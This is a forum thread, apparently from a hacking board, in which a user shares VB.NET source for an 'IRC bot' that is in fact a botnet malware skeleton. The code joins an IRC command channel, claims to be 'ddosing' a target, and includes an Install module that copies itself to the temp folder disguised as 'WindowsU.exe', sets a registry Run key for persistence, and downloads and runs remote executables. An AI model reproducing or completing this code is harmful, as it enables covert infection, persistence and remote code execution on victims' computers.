Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
XinBot OpenSource Community IRC Bot
  • Xin
    Posts: 3,251
    XinBot OpenSource Community IRC Bot
    Feel free to add stuff and change it for the better!

    IRC.vb
    Imports System.IO
    Imports System.Net.Sockets
    Imports System.Threading
    Imports System.Net
    Imports Microsoft.Win32


    Module ircconnect
    Public Const USER As String = \"Xin : apse\"
    Public NICK As String = \"[\" & \"test\" & \"]\"
    Public PORT As Integer = \"6667\" '//replace with your server port
    Public CHANNEL As String = \"#C++\" '/ Replace with your bot channel
    Public SERVER As String = \"irc.malvager.com\" ' //replace with server address
    Public ircLine As String
    Public IRCstream As NetworkStream
    Public irc As TcpClient
    Public inputLine As String
    Public IRCreader As StreamReader
    Public IRCwriter As StreamWriter
    Public targetip As String




    Sub connect()
    Try
    irc = New TcpClient(SERVER, PORT)
    IRCstream = irc.GetStream()
    IRCreader = New StreamReader(IRCstream)
    IRCwriter = New StreamWriter(IRCstream)
    IRCwriter.WriteLine(USER)
    IRCwriter.Flush()
    IRCwriter.WriteLine(\"NICK \" & NICK)
    IRCwriter.Flush()

    IRCwriter.WriteLine(\"JOIN \" & CHANNEL)
    IRCwriter.Flush()


    While True
    While (Inline(inputLine, IRCreader.ReadLine())) IsNot Nothing
    If inputLine.Contains(\"PING :\") Then
    Dim pingstart As Integer
    pingstart = inputLine.IndexOf(\"PING :\")
    Dim response As New String(inputLine.Substring(pingstart))
    Dim code As New String(response.Replace(\"PING :\", String.Empty))
    IRCwriter.WriteLine(\"PONG :\" + code)
    IRCwriter.Flush()
    ElseIf inputLine.Contains(\"HI\") Then
    IRCwriter.WriteLine(\"PRIVMSG \" & CHANNEL & \" :\" & \"ddosing TALLBUS\")
    IRCwriter.Flush()



    End If




    IRCwriter.Flush()
    If inputLine.Contains(\"HI\") Then
    IRCwriter.WriteLine(\"HEY\")
    End If

    End While
    IRCwriter.Close()
    IRCwriter.Close()
    irc.Close()

    End While

    Catch e As Exception
    IRCwriter.WriteLine(\"PRIVMSG \" & CHANNEL & \" :\" & ChrW(3) & \"7 error : \" & e.ToString())
    IRCwriter.Flush()
    End Try
    End Sub
    Public Function Inline(Of T)(ByRef target As T, ByVal value As T) As T
    target = value
    Return value
    End Function
    End Module


    Connect.vb
    Imports System.IO
    Imports System.Net.Sockets
    Imports System.Threading
    Imports System.Net
    Imports Microsoft.Win32


    Module ircconnect1
    Public ircThread As Thread



    Sub Main()

    ircThread = New Thread(AddressOf ircconnect.connect)
    ircThread.Start()

    End Sub
    End Module


    Install.vb

    Imports System.IO
    Imports Microsoft.Win32

    Module Install1
    Public MyPath As String = Path.GetTempPath & \"WindowsU.exe\"
    Sub Install()
    'Call This One First Run To Infect.
    Try
    File.Delete(MyPath)
    File.Copy(Application.ExecutablePath, MyPath)
    Dim R As RegistryKey
    R = Registry.CurrentUser.OpenSubKey(\"Software\Microsoft\Windows\CurrentVersion\Run\", True)
    R.SetValue(\"WindowsU\", MyPath)
    R.Close()
    Catch e As Exception : End Try
    End Sub
    Sub UnInstall()
    Try
    Dim R As RegistryKey
    R = Registry.CurrentUser.OpenSubKey(\"Software\Microsoft\Windows\CurrentVersion\Run\", True)
    R.DeleteValue(\"WindowsU\", False)
    R.Close()
    Catch e As Exception : End Try
    End Sub
    Sub Persistence()
    Try
    Dim R As RegistryKey
    R = Registry.CurrentUser.OpenSubKey(\"Software\Microsoft\Windows\CurrentVersion\Run\", True)
    R.SetValue(\"WindowsU\", MyPath)
    R.Close()
    Catch e As Exception : End Try
    End Sub
    Sub Download(ByVal URL As String)

    Try
    Dim R As New Random()
    Dim FileName As String = \"/\" & R.[Next](100) & \"Update.exe\"
    My.Computer.Network.DownloadFile(URL, Path.GetTempPath & FileName)
    Process.Start(Path.GetTempPath & FileName)
    Catch : End Try
    End Sub
    Sub Update(ByVal URL As String)

    Try
    Dim R As New Random()
    Dim FileName As String = \"/\" & R.[Next](100) & \"Update.exe\"
    My.Computer.Network.DownloadFile(URL, Path.GetTempPath & FileName)
    Process.Start(Path.GetTempPath & FileName)
    UnInstall()
    Catch : End Try
    End Sub
    End Module
    Xin
  • undead
    Posts: 822
    Thanks for sharing
  • Xin
    Posts: 3,251
    Not a finished program, so you cant really use it atm :)
    Xin